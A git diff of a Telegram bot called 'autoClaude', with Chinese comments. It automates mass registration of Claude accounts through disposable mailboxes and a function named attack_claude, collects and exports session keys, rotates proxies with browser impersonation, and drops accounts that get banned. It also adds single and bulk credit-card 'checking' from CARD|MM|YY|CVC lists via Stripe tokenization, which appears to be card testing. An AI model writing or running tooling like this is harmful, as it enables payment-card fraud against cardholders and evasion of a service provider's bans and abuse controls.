diff --git a/bot.py b/bot.py index 3a175da..3308d31 100644 --- a/bot.py +++ b/bot.py @@ -5,16 +5,20 @@ autoClaude Telegram Bot """ import asyncio +import html +import json import logging +import os import random import string import time import threading from functools import wraps -from telegram import Update, BotCommand +from telegram import Update, BotCommand, InlineKeyboardButton, InlineKeyboardMarkup from telegram.ext import ( Application, + CallbackQueryHandler, CommandHandler, MessageHandler, ContextTypes, @@ -24,12 +28,18 @@ from telegram.ext import ( from config import ( TG_BOT_TOKEN, TG_ALLOWED_USERS, + TG_USER_PERMISSIONS, + ADMIN_USERS, + get_merged_permissions, MAIL_SYSTEMS, ) -from mail_service import MailPool, extract_magic_link -from stripe_token import StripeTokenizer -from gift_checker import GiftChecker -from claude_auth import attack_claude, finalize_login +from core.mail_service import MailPool, extract_magic_link +from core.stripe_token import StripeTokenizer +from core.gift_checker import GiftChecker +from core.claude_auth import attack_claude, finalize_login +from core import account_store +from core import proxy_pool +from core import permissions # --- 日志配置 --- logging.basicConfig( @@ -37,11 +47,14 @@ logging.basicConfig( level=logging.INFO, ) logger = logging.getLogger(__name__) +# 降低 httpx 轮询日志级别,减少刷屏 +logging.getLogger("httpx").setLevel(logging.WARNING) # --- 全局状态 --- _task_lock = threading.Lock() _task_running = False _task_name = "" +_stop_event = threading.Event() # ============================================================ @@ -49,13 +62,38 @@ _task_name = "" # ============================================================ def restricted(func): - """权限控制装饰器:仅允许 TG_ALLOWED_USERS 中的用户使用""" + """权限控制装饰器:检查用户是否有权使用当前命令。 + + 权限检查规则: + 1. 如果配置了 roles,按角色的 commands 列表检查;"*" 表示全部权限 + 2. 如果没有配置 roles,回退到 allowed_users 全量放行 + 3. 如果两者都没配,所有用户都可以使用 + """ + # 从函数名提取命令名(cmd_register -> register) + cmd_name = func.__name__.removeprefix("cmd_").removeprefix("handle_") + @wraps(func) async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs): user_id = update.effective_user.id - if TG_ALLOWED_USERS and user_id not in TG_ALLOWED_USERS: - await update.message.reply_text("⛔ 你没有权限使用此 Bot。") - return + + if TG_USER_PERMISSIONS or True: # 总是检查合并权限 + # 实时合并 config.toml + permissions.json + merged = get_merged_permissions() + if merged: + user_cmds = merged.get(user_id) + if user_cmds is None: + # 用户不在任何权限表中 + if TG_ALLOWED_USERS or TG_USER_PERMISSIONS: + # 有限制配置但用户不在其中 + await update.message.reply_text("⛔ 你没有权限使用此 Bot。") + return + # 没有任何限制配置:放行 + elif "*" not in user_cmds and cmd_name not in user_cmds: + await update.message.reply_text( + f"⛔ 你没有权限使用 /{cmd_name} 命令。" + ) + return + return await func(update, context, *args, **kwargs) return wrapper @@ -68,6 +106,7 @@ def _set_task(name: str) -> bool: return False _task_running = True _task_name = name + _stop_event.clear() return True @@ -77,6 +116,12 @@ def _clear_task(): with _task_lock: _task_running = False _task_name = "" + _stop_event.clear() + + +def _is_stopped() -> bool: + """检查是否收到停止信号""" + return _stop_event.is_set() async def _edit_or_send(msg, text: str): @@ -87,45 +132,67 @@ async def _edit_or_send(msg, text: str): pass +def _progress_bar(current: int, total: int, width: int = 12) -> str: + """生成可视化进度条 ▓▓▓▓░░░░ 3/10 (30%)""" + if total <= 0: + return "" + pct = current / total + filled = round(width * pct) + bar = "▓" * filled + "░" * (width - filled) + return f"{bar} {current}/{total} ({round(pct * 100)}%)" + + # ============================================================ # 命令处理 # ============================================================ -@restricted async def cmd_start(update: Update, context: ContextTypes.DEFAULT_TYPE): """/start — 欢迎信息""" welcome = ( "🤖 autoClaude Bot\n\n" "可用命令:\n" - " /register [N] — 注册 Claude 账号(默认 1 个)\n" - " /check <卡号|月|年|CVC> — 单张 CC 检查\n" + " /register [N] — 注册 Claude 账号\n" + " /check <卡号|月|年|CVC> — CC 检查\n" " 📎 发送 .txt 文件 — 批量 CC 检查\n" - " /accounts — 查看已注册账号\n" - " /status — 当前任务状态\n" - " /help — 帮助\n\n" + " /accounts — 查看账号 | /delete — 删除账号\n" + " /verify — 验证 SK 有效性\n" + " /stats — 统计面板\n" + " /stop — 中断当前任务\n" + " /proxy on|off — 代理开关\n" + " /proxytest — 测试代理 | /proxystatus — 代理状态\n" + " /mailstatus — 邮件系统状态\n" + " /status — 任务状态 | /help — 帮助\n\n" f"👤 你的用户 ID: {update.effective_user.id}" ) await update.message.reply_text(welcome, parse_mode="HTML") -@restricted async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE): """/help — 命令列表""" text = ( "📖 命令说明\n\n" - "/register [N]\n" - " 注册 N 个 Claude 账号(默认 1)。\n" - " 流程:创建邮箱 → 发送 Magic Link → 等待邮件 → 交换 SessionKey\n" - " 注册结果自动保存到 accounts.txt\n\n" - "/check <CARD|MM|YY|CVC>\n" - " 单张信用卡检查。\n\n" - "📎 发送 .txt 文件\n" - " 批量 CC 检查,文件每行一张卡:\n" - " 卡号|月|年|CVC\n\n" - "/accounts\n" - " 列出 accounts.txt 中保存的所有账号。\n\n" - "/status\n" - " 查看当前是否有后台任务在运行。\n" + "📝 注册与账号\n" + " /register [N] — 注册 N 个账号\n" + " /accounts — 查看已注册账号\n" + " /delete <序号|邮箱> — 删除账号\n" + " /verify — 验证 SK 有效性\n\n" + "💳 CC 检查\n" + " /check <CARD|MM|YY|CVC> — 单张检查\n" + " 📎 发送 .txt 文件 — 批量检查\n\n" + "🛠 工具与状态\n" + " /stop — 中断当前任务\n" + " /stats — 统计面板\n" + " /status — 任务状态\n\n" + "🌐 代理与邮件\n" + " /proxy on|off — 开关代理\n" + " /proxytest — 测试代理\n" + " /proxystatus — 代理池状态\n" + " /mailstatus — 邮件系统状态\n\n" + "🔐 用户管理(仅管理员)\n" + " /adduser <ID> [cmds] — 添加用户\n" + " /removeuser <ID> — 移除用户\n" + " /setperm <ID> <cmds> — 修改权限\n" + " /users — 查看用户列表\n" ) await update.message.reply_text(text, parse_mode="HTML") @@ -133,41 +200,613 @@ async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE): @restricted async def cmd_status(update: Update, context: ContextTypes.DEFAULT_TYPE): """/status — 查看任务状态""" + lines = [] + + # 全局任务(注册等) with _task_lock: if _task_running: + lines.append(f"⏳ 当前任务:{_task_name}") + + # 账号池状态 + ps = account_store.pool_status() + if ps["total"] > 0: + lines.append( + f"🗄 账号池:共 {ps['total']} | " + f"🟢 空闲 {ps['free']} | 🔴 占用 {ps['busy']}" + ) + + if not lines: + await update.message.reply_text("✅ 当前无运行中的任务。") + else: + await update.message.reply_text("\n".join(lines), parse_mode="HTML") + + +@restricted +async def cmd_stop(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/stop — 中断当前运行的任务""" + with _task_lock: + if not _task_running: + await update.message.reply_text("✅ 当前没有运行中的任务。") + return + _stop_event.set() + await update.message.reply_text( + f"⏹ 正在停止任务:{_task_name}\n" + "任务将在当前步骤完成后安全退出...", + parse_mode="HTML", + ) + + +@restricted +async def cmd_mailstatus(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/mailstatus — 检查邮箱系统连通性""" + status_msg = await update.message.reply_text("🔍 正在检测邮件系统...") + + mail_pool = MailPool(MAIL_SYSTEMS) + if mail_pool.count == 0: + await _edit_or_send(status_msg, "❌ 没有可用的邮箱系统!请检查 config.toml 配置。") + return + + text = f"📬 邮件系统状态(共 {mail_pool.count} 个)\n\n" + for i, ms in enumerate(mail_pool.systems, 1): + health = ms.check_health() + icon = "✅" if health["ok"] else "❌" + domains = ", ".join(ms.domains) + text += f"{i}. {icon} {ms.base_url}\n" + text += f" 域名: {domains}\n" + text += f" 状态: {health['message']}\n" + + await _edit_or_send(status_msg, text) + + +@restricted +async def cmd_proxytest(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/proxytest — 测试所有代理的连通性""" + pp = proxy_pool.pool + if pp.count == 0: + await update.message.reply_text("❌ 代理池为空(proxy.txt 不存在或无有效代理)") + return + + total = pp.count + status_msg = await update.message.reply_text( + f"🔍 正在测试 {total} 个代理...\n" + f"{_progress_bar(0, total)}", + parse_mode="HTML", + ) + + loop = asyncio.get_event_loop() + + # 在后台线程中运行测试,通过回调更新进度 + def _run_test(): + ok_count = 0 + fail_count = 0 + last_update_time = 0 + + def on_progress(current, total, result): + nonlocal ok_count, fail_count, last_update_time + if result["ok"]: + ok_count += 1 + else: + fail_count += 1 + + # 限制更新频率:最少 2 秒更新一次,或者最后一个时强制更新 + now = time.time() + is_last = (current == total) + if not is_last and (now - last_update_time) < 2: + return + last_update_time = now + + icon = "✅" if result["ok"] else "❌" + latency = f"{result['latency_ms']}ms" if result.get('latency_ms', -1) > 0 else "-" + + text = ( + f"🔍 代理测试中...\n" + f"{_progress_bar(current, total)}\n\n" + f"✅ 通过: {ok_count} ❌ 失败: {fail_count}\n\n" + f"最新: {icon} {html.escape(str(result['proxy']))} {latency}" + ) + + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, text), loop + ) + + return pp.test_all(progress_callback=on_progress) + + results = await loop.run_in_executor(None, _run_test) + + # 构建最终结果报告 + ok_count = sum(1 for r in results if r["ok"]) + fail_count = len(results) - ok_count + + text = ( + f"🎯 代理测试结果\n\n" + f"✅ 通过: {ok_count} ❌ 失败: {fail_count} " + f"🚧 剩余可用: {pp.active_count}\n\n" + ) + + for r in results: + icon = "✅" if r["ok"] else "❌" + latency = f"{r['latency_ms']}ms" if r['latency_ms'] > 0 else "-" + prio = r.get('priority', '-') + proxy_display = html.escape(str(r['proxy'])) + text += f"{icon} {proxy_display}\n" + text += f" 延迟: {latency} | 优先级: {prio}\n" + if not r["ok"]: + text += f" 错误: {html.escape(str(r.get('error', '?')))}\n" + + if len(text) > 4000: + text = text[:4000] + "\n...(已截断)" + + await _edit_or_send(status_msg, text) + + +@restricted +async def cmd_proxystatus(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/proxystatus — 查看代理池状态""" + pp = proxy_pool.pool + if pp.count == 0: + await update.message.reply_text("❌ 代理池为空(proxy.txt 不存在或无有效代理)") + return + + items = pp.status_list() + text = f"🌐 代理池状态(共 {len(items)} 个)\n\n" + + for i, item in enumerate(items, 1): + icon = "✅" if item["last_ok"] else "❌" + proxy_display = html.escape(str(item['proxy'])) + text += ( + f"{i}. {icon} {proxy_display}\n" + f" 优先级: {item['priority']} | " + f"延迟: {item['latency_ms']}ms | " + f"✅{item['success']} ❌{item['fail']}\n" + ) + + if len(text) > 4000: + text = text[:4000] + "\n...(已截断)" + + await update.message.reply_text(text, parse_mode="HTML") + + +# ============================================================ +# 用户权限管理(仅管理员) +# ============================================================ + +from core import permissions + +def _admin_only(func): + """管理员专属装饰器:只有 config.toml 中 commands=["*"] 的用户可使用""" + @wraps(func) + async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs): + user_id = update.effective_user.id + if user_id not in ADMIN_USERS: + await update.message.reply_text("⛔ 此命令仅管理员可用。") + return + return await func(update, context, *args, **kwargs) + return wrapper + + +@_admin_only +async def cmd_adduser(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/adduser [cmd1,cmd2,...|*] — 添加用户并设置权限""" + if not context.args or len(context.args) < 1: + await update.message.reply_text( + "❌ 用法:\n" + " /adduser 123456789 * — 全部权限\n" + " /adduser 123456789 accounts,verify,stats — 指定命令\n\n" + "💡 可用命令列表:\n" + f" {', '.join(sorted(permissions.ALL_COMMANDS))}", + parse_mode="HTML", + ) + return + + try: + target_uid = int(context.args[0]) + except ValueError: + await update.message.reply_text("❌ 用户 ID 必须是数字。") + return + + # 解析权限 + if len(context.args) >= 2: + cmd_arg = context.args[1] + if cmd_arg == "*": + cmds = ["*"] + else: + cmds = [c.strip() for c in cmd_arg.split(",") if c.strip()] + # 验证命令名 + invalid = [c for c in cmds if c not in permissions.ALL_COMMANDS] + if invalid: + await update.message.reply_text( + f"❌ 未知命令: {', '.join(invalid)}\n\n" + f"可用命令:\n{', '.join(sorted(permissions.ALL_COMMANDS))}", + parse_mode="HTML", + ) + return + else: + # 默认给基础查看权限 + cmds = ["start", "help", "accounts", "verify", "stats", "status"] + + permissions.add_user(target_uid, cmds) + + cmd_display = "全部命令" if cmds == ["*"] else ", ".join(cmds) + await update.message.reply_text( + f"✅ 已添加用户 {target_uid}\n" + f"🔑 权限: {cmd_display}", + parse_mode="HTML", + ) + + +@_admin_only +async def cmd_removeuser(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/removeuser — 移除用户""" + if not context.args: + await update.message.reply_text("❌ 用法: /removeuser 123456789", parse_mode="HTML") + return + + try: + target_uid = int(context.args[0]) + except ValueError: + await update.message.reply_text("❌ 用户 ID 必须是数字。") + return + + # 不能移除 config.toml 中的管理员 + if target_uid in ADMIN_USERS: + await update.message.reply_text("❌ 不能移除 config.toml 中定义的管理员。") + return + + if permissions.remove_user(target_uid): + await update.message.reply_text(f"🗑 已移除用户 {target_uid}", parse_mode="HTML") + else: + await update.message.reply_text(f"❌ 用户 {target_uid} 不在运行时权限列表中。", parse_mode="HTML") + + +@_admin_only +async def cmd_setperm(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/setperm — 修改用户权限""" + if not context.args or len(context.args) < 2: + await update.message.reply_text( + "❌ 用法:\n" + " /setperm 123456789 *\n" + " /setperm 123456789 accounts,verify,stats\n\n" + f"可用命令:\n{', '.join(sorted(permissions.ALL_COMMANDS))}", + parse_mode="HTML", + ) + return + + try: + target_uid = int(context.args[0]) + except ValueError: + await update.message.reply_text("❌ 用户 ID 必须是数字。") + return + + # 不能修改 config.toml 管理员 + if target_uid in ADMIN_USERS: + await update.message.reply_text("❌ 不能修改 config.toml 中定义的管理员权限。") + return + + cmd_arg = context.args[1] + if cmd_arg == "*": + cmds = ["*"] + else: + cmds = [c.strip() for c in cmd_arg.split(",") if c.strip()] + invalid = [c for c in cmds if c not in permissions.ALL_COMMANDS] + if invalid: await update.message.reply_text( - f"⏳ 当前任务:{_task_name}", + f"❌ 未知命令: {', '.join(invalid)}", parse_mode="HTML", ) - else: - await update.message.reply_text("✅ 当前无运行中的任务。") + return + + # 如果用户不存在,自动添加 + user = permissions.get_user(target_uid) + if user: + permissions.set_commands(target_uid, cmds) + else: + permissions.add_user(target_uid, cmds) + + cmd_display = "全部命令" if cmds == ["*"] else ", ".join(cmds) + await update.message.reply_text( + f"✅ 用户 {target_uid} 权限已更新\n" + f"🔑 权限: {cmd_display}", + parse_mode="HTML", + ) + + +@_admin_only +async def cmd_users(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/users — 查看所有用户及权限""" + merged = get_merged_permissions() + + if not merged: + await update.message.reply_text("📭 没有任何用户。") + return + + text = "👥 用户权限列表\n\n" + + # config.toml 管理员 + text += "📌 管理员(config.toml)\n" + for uid in sorted(ADMIN_USERS): + text += f" • {uid} — ✨ 全部权限\n" + + # config.toml 非管理员角色 + static_non_admin = { + uid: cmds for uid, cmds in TG_USER_PERMISSIONS.items() + if uid not in ADMIN_USERS + } + if static_non_admin: + text += "\n📌 静态角色(config.toml)\n" + for uid, cmds in sorted(static_non_admin.items()): + cmd_str = ", ".join(sorted(cmds)) if "*" not in cmds else "全部命令" + text += f" • {uid} — {cmd_str}\n" + + # 运行时添加的用户 + runtime_users = permissions.list_users() + if runtime_users: + text += "\n🔧 运行时用户(Bot 添加)\n" + for uid, info in sorted(runtime_users.items()): + cmds = info.get("commands", []) + cmd_str = ", ".join(sorted(cmds)) if "*" not in cmds else "全部命令" + text += f" • {uid} — {cmd_str}\n" + + if len(text) > 4000: + text = text[:4000] + "\n...(已截断)" + + await update.message.reply_text(text, parse_mode="HTML") + + +@restricted +async def cmd_proxy(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/proxy on|off — 开关代理""" + pp = proxy_pool.pool + + if not context.args: + # 无参数:显示当前状态 + status = "✅ 已开启" if pp.enabled else "❌ 已关闭" + await update.message.reply_text( + f"🌐 代理状态: {status}\n" + f"📦 代理池: {pp.count} 个(活跃 {pp.active_count} 个)\n\n" + f"用法: /proxy on/proxy off", + parse_mode="HTML", + ) + return + + arg = context.args[0].lower() + if arg == "on": + pp.enabled = True + await update.message.reply_text( + f"✅ 代理已开启(池中 {pp.active_count} 个可用)" + ) + elif arg == "off": + pp.enabled = False + await update.message.reply_text("❌ 代理已关闭,所有请求将直连") + else: + await update.message.reply_text("❌ 用法: /proxy on 或 /proxy off") @restricted async def cmd_accounts(update: Update, context: ContextTypes.DEFAULT_TYPE): """/accounts — 列出已注册账号""" + accounts = account_store.read_all() + + if not accounts: + await update.message.reply_text("📭 尚无已注册账号。") + return + + text = f"📋 已注册账号(共 {len(accounts)} 个)\n\n" + for i, acc in enumerate(accounts, 1): + text += f"{i}. {acc['email']}\n SK: {acc['session_key']}\n" + + if len(text) > 4000: + text = text[:4000] + "\n...(已截断,请点击下方按钮导出完整数据)" + + keyboard = [[InlineKeyboardButton("📥 导出 JSON 文件", callback_data="export_accounts_json")]] + reply_markup = InlineKeyboardMarkup(keyboard) + + await update.message.reply_text(text, parse_mode="HTML", reply_markup=reply_markup) + + +@restricted +async def cmd_delete(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/delete <序号|邮箱> — 删除指定账号""" + user_id = update.effective_user.id + + if not context.args: + await update.message.reply_text( + "❌ 用法:\n" + " /delete 3 — 按序号删除\n" + " /delete user@example.com — 按邮箱删除\n\n" + "💡 使用 /accounts 查看序号", + parse_mode="HTML", + ) + return + + arg = context.args[0] + removed = None + + # 尝试按序号删除 try: - with open("accounts.txt", "r") as f: - lines = [l.strip() for l in f if l.strip()] - except FileNotFoundError: - await update.message.reply_text("📭 尚无已注册账号(accounts.txt 不存在)。") + index = int(arg) + removed = account_store.delete_by_index(index) + if not removed: + total = account_store.count() + await update.message.reply_text(f"❌ 无效序号。当前共 {total} 个账号。") + return + except ValueError: + # 按邮箱删除 + removed = account_store.delete_by_email(arg) + if not removed: + await update.message.reply_text(f"❌ 未找到邮箱:{arg}") + return + + await update.message.reply_text( + f"🗑 已删除账号:\n" + f"📧 {removed['email']}\n" + f"剩余 {account_store.count()} 个账号", + parse_mode="HTML", + ) + + +@restricted +async def cmd_verify(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/verify — 检测已保存的 Session Key 是否仍然有效,自动删除被封禁的账号""" + accounts = account_store.read_all() + + if not accounts: + await update.message.reply_text("📭 尚无已注册账号。") return - if not lines: - await update.message.reply_text("📭 accounts.txt 为空。") - return + status_msg = await update.message.reply_text( + f"🔍 正在验证 {len(accounts)} 个账号的 Session Key..." + ) - text = f"📋 已注册账号(共 {len(lines)} 个)\n\n" - for i, line in enumerate(lines, 1): - parts = line.split("|") - email = parts[0] if len(parts) > 0 else "?" - sk = parts[1][:12] + "..." if len(parts) > 1 and len(parts[1]) > 12 else (parts[1] if len(parts) > 1 else "?") - text += f"{i}. {email}\n SK: {sk}\n" + from curl_cffi import requests as cffi_requests + from config import get_proxy + + _VERIFY_URL = "https://claude.ai/api/organizations" + _MAX_RETRIES = 2 # 代理重试次数 + + def _do_verify_request(sk: str, proxies: dict, timeout: int = 15): + """发送验证请求,返回 (status_code, error_str)""" + try: + resp = cffi_requests.get( + _VERIFY_URL, + headers={ + "Cookie": f"sessionKey={sk}", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + }, + impersonate="chrome124", + proxies=proxies, + timeout=timeout, + ) + return resp.status_code, None + except Exception as e: + return None, str(e)[:80] + + results = [] + total = len(accounts) + for i, acc in enumerate(accounts, 1): + sk = acc.get("session_key", "") + email = acc.get("email", "?") + + # 更新进度 + bar = _progress_bar(i - 1, total) + await _edit_or_send( + status_msg, + f"🔍 验证中... {bar}\n" + f"⏳ {email}", + ) + + if not sk: + results.append({"email": email, "ok": False, "reason": "SK 为空"}) + continue + + status_code = None + last_error = None + used_direct = False + + # 阶段 1:通过代理尝试(最多 _MAX_RETRIES 次) + proxy = get_proxy() + if proxy: + proxy_display = proxy.get("https", proxy.get("http", "?")) + logger.info(f"验证 {email} 使用代理: {proxy_display}") + for attempt in range(_MAX_RETRIES): + status_code, err = _do_verify_request(sk, proxy) + if status_code is not None: + break + last_error = err + logger.warning( + f"验证重试 {attempt + 1}/{_MAX_RETRIES} ({email}) " + f"代理: {proxy_display} | 错误: {err}" + ) + # 代理连接失败,降低优先级 + proxy_pool.pool.report_failure(proxy) + time.sleep(1) + + # 阶段 2:代理全部失败 → 直连回退 + if status_code is None: + if proxy: + logger.info(f"代理 {proxy_display} 全部失败,直连回退验证: {email}") + status_code, err = _do_verify_request(sk, {}, timeout=20) + if status_code is None: + last_error = err + else: + used_direct = True + + # 解析结果 + if status_code is None: + results.append({"email": email, "ok": False, "reason": f"网络错误: {last_error}"}) + elif status_code == 200: + suffix = " (直连)" if used_direct else "" + results.append({"email": email, "ok": True, "reason": f"有效{suffix}"}) + elif status_code == 401: + results.append({"email": email, "ok": False, "reason": "已过期"}) + elif status_code == 403: + results.append({"email": email, "ok": False, "reason": "被封禁"}) + else: + results.append({"email": email, "ok": False, "reason": f"HTTP {status_code}"}) + + valid = sum(1 for r in results if r["ok"]) + invalid = len(results) - valid + + # 自动删除被封禁的账号 + banned_emails = [r["email"] for r in results if r["reason"] == "被封禁"] + deleted_count = 0 + if banned_emails: + deleted_count = account_store.delete_by_emails(banned_emails) + + text = ( + f"🔑 账号验证结果\n\n" + f"✅ 有效: {valid} ❌ 无效: {invalid}\n\n" + ) + for i, r in enumerate(results, 1): + icon = "✅" if r["ok"] else "❌" + text += f"{i}. {icon} {r['email']} — {r['reason']}\n" + + if deleted_count > 0: + text += f"\n🗑 已自动删除 {deleted_count} 个封禁账号\n" + text += f"📦 剩余 {account_store.count()} 个账号" - # Telegram 消息限制 4096 字符 if len(text) > 4000: text = text[:4000] + "\n...(已截断)" + await _edit_or_send(status_msg, text) + + +@restricted +async def cmd_stats(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/stats — 展示历史统计数据""" + stats = account_store.get_stats() + + reg_total = stats.get("register_total", 0) + reg_ok = stats.get("register_success", 0) + reg_fail = stats.get("register_fail", 0) + reg_rate = f"{round(reg_ok / reg_total * 100)}%" if reg_total > 0 else "-" + + cc_total = stats.get("cc_total", 0) + cc_ok = stats.get("cc_pass", 0) + cc_fail = stats.get("cc_fail", 0) + cc_rate = f"{round(cc_ok / cc_total * 100)}%" if cc_total > 0 else "-" + + text = ( + "📊 统计面板\n\n" + f"📝 注册统计\n" + f" 总计: {reg_total} | ✅ {reg_ok} | ❌ {reg_fail}\n" + f" 成功率: {reg_rate}\n" + ) + + # 失败原因分布 + reasons = stats.get("register_fail_reasons", {}) + if reasons: + text += " 失败原因:\n" + for reason, cnt in sorted(reasons.items(), key=lambda x: -x[1]): + text += f" • {reason}: {cnt}\n" + + text += ( + f"\n💳 CC 检查统计\n" + f" 总计: {cc_total} | ✅ {cc_ok} | ❌ {cc_fail}\n" + f" 通过率: {cc_rate}\n" + ) + + text += f"\n📦 当前账号数: {account_store.count()}" + await update.message.reply_text(text, parse_mode="HTML") @@ -210,7 +849,7 @@ async def cmd_register(update: Update, context: ContextTypes.DEFAULT_TYPE): def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int): """注册工作线程""" - results = {"success": 0, "fail": 0, "accounts": []} + results = {"success": 0, "fail": 0, "accounts": [], "fail_reasons": []} try: # 初始化邮箱系统池 @@ -233,99 +872,159 @@ def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int): ).result(timeout=10) for i in range(count): - progress = f"[{i + 1}/{count}]" + bar = _progress_bar(i, count) + step_header = f"📊 {bar}\n" # Step 1: 创建邮箱(轮询选系统) asyncio.run_coroutine_threadsafe( _edit_or_send( status_msg, - f"⏳ {progress} 创建临时邮箱...\n\n" + f"{step_header}⏳ 创建临时邮箱...\n\n" f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", ), loop, ).result(timeout=10) + # 检查停止信号 + if _is_stopped(): + break + random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) target_email, mail_sys = mail_pool.create_user(random_prefix) if not target_email or not mail_sys: results["fail"] += 1 + reason = "邮箱创建失败" + results["fail_reasons"].append(reason) + account_store.record_register(False, reason) continue + # 检查停止信号 + if _is_stopped(): + break + # Step 2: 发送 Magic Link asyncio.run_coroutine_threadsafe( _edit_or_send( status_msg, - f"⏳ {progress} 发送 Magic Link...\n" + f"{step_header}⏳ 发送 Magic Link...\n" f"📧 {target_email}\n\n" f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", ), loop, ).result(timeout=10) + if _is_stopped(): + break + if not attack_claude(target_email): results["fail"] += 1 + reason = "Magic Link 发送失败" + results["fail_reasons"].append(reason) + account_store.record_register(False, reason) continue # Step 3: 等待邮件(使用创建时对应的系统) asyncio.run_coroutine_threadsafe( _edit_or_send( status_msg, - f"⏳ {progress} 等待 Claude 邮件...\n" + f"{step_header}⏳ 等待 Claude 邮件...\n" f"📧 {target_email}\n\n" f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", ), loop, ).result(timeout=10) - email_content = mail_sys.wait_for_email(target_email) + email_content = mail_sys.wait_for_email(target_email, stop_check=_is_stopped) + if _is_stopped(): + break if not email_content: results["fail"] += 1 + reason = "邮件接收超时" + results["fail_reasons"].append(reason) + account_store.record_register(False, reason) continue magic_link = extract_magic_link(email_content) if not magic_link: results["fail"] += 1 + reason = "Magic Link 解析失败" + results["fail_reasons"].append(reason) + account_store.record_register(False, reason) continue # Step 4: 交换 SessionKey asyncio.run_coroutine_threadsafe( _edit_or_send( status_msg, - f"⏳ {progress} 交换 SessionKey...\n" + f"{step_header}⏳ 交换 SessionKey...\n" f"📧 {target_email}\n\n" f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", ), loop, ).result(timeout=10) + if _is_stopped(): + break + account = finalize_login(magic_link) if account: results["success"] += 1 results["accounts"].append(account) - # 保存到文件 - with open("accounts.txt", "a") as f: - f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n") + account_store.append(account.email, account.session_key, account.org_uuid) + account_store.record_register(True) else: results["fail"] += 1 + reason = "SessionKey 交换失败" + results["fail_reasons"].append(reason) + account_store.record_register(False, reason) # 间隔防止限流 if i < count - 1: time.sleep(2) # 最终汇报 + stopped = _is_stopped() + done_bar = _progress_bar(results["success"] + results["fail"], count) + title = "⏹ 注册已中断" if stopped else "🏁 注册完成" report = ( - f"🏁 注册完成\n\n" + f"{title}\n" + f"📊 {done_bar}\n\n" f"✅ 成功: {results['success']}\n" f"❌ 失败: {results['fail']}\n" ) + + # 失败原因汇总 + if results["fail_reasons"]: + from collections import Counter + reason_counts = Counter(results["fail_reasons"]) + report += "\n失败原因:\n" + for reason, cnt in reason_counts.most_common(): + report += f" • {reason}: {cnt} 次\n" + if results["accounts"]: report += "\n新注册账号:\n" for acc in results["accounts"]: - report += f"• {acc.email}\n" + report += ( + f"• {acc.email}\n" + f" SK: {acc.session_key}\n" + ) + + # Telegram 消息限制 4096 字符 + if len(report) > 4000: + report = report[:4000] + "\n...(已截断,使用 /accounts 查看完整列表)" + + keyboard = [[InlineKeyboardButton("📥 导出 JSON 文件", callback_data="export_accounts_json")]] + reply_markup = InlineKeyboardMarkup(keyboard) + + async def _send_final(): + try: + await status_msg.edit_text(report, parse_mode="HTML", reply_markup=reply_markup) + except Exception: + pass asyncio.run_coroutine_threadsafe( - _edit_or_send(status_msg, report), + _send_final(), loop, ).result(timeout=10) @@ -339,64 +1038,220 @@ def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int): _clear_task() +# ============================================================ +# 自动注册辅助函数 +# ============================================================ + +def _auto_register_sync(loop: asyncio.AbstractEventLoop, status_msg, count: int = 5) -> bool: + """同步执行注册流程,返回是否至少注册了 1 个账号。 + + 此函数在后台线程中被调用,用于 /check 和文件上传时自动注册账号。 + """ + success_count = 0 + + try: + mail_pool = MailPool(MAIL_SYSTEMS) + if mail_pool.count == 0: + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, "❌ 没有可用的邮箱系统,无法自动注册!"), + loop, + ).result(timeout=10) + return False + + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"📭 没有可用账号,正在自动注册 {count} 个...\n" + f"📧 邮箱系统就绪({mail_pool.count} 个)", + ), + loop, + ).result(timeout=10) + + for i in range(count): + if _is_stopped(): + break + + bar = _progress_bar(i, count) + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"📭 自动注册中...\n{bar}\n✅ 成功: {success_count}", + ), + loop, + ).result(timeout=10) + + # Step 1: 创建邮箱 + random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) + target_email, mail_sys = mail_pool.create_user(random_prefix) + if not target_email or not mail_sys: + account_store.record_register(False, "邮箱创建失败") + continue + + if _is_stopped(): + break + + # Step 2: 发送 Magic Link + if not attack_claude(target_email): + account_store.record_register(False, "Magic Link 发送失败") + continue + + # Step 3: 等待邮件 + email_content = mail_sys.wait_for_email(target_email, stop_check=_is_stopped) + if _is_stopped(): + break + if not email_content: + account_store.record_register(False, "邮件接收超时") + continue + + magic_link = extract_magic_link(email_content) + if not magic_link: + account_store.record_register(False, "Magic Link 解析失败") + continue + + if _is_stopped(): + break + + # Step 4: 交换 SessionKey + account = finalize_login(magic_link) + if account: + success_count += 1 + account_store.append(account.email, account.session_key, account.org_uuid) + account_store.record_register(True) + else: + account_store.record_register(False, "SessionKey 交换失败") + + # 间隔防止限流 + if i < count - 1: + time.sleep(2) + + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"{'⏹ 自动注册已中断' if _is_stopped() else '✅ 自动注册完成'}\n" + f"成功注册 {success_count} 个账号,继续执行检查...", + ), + loop, + 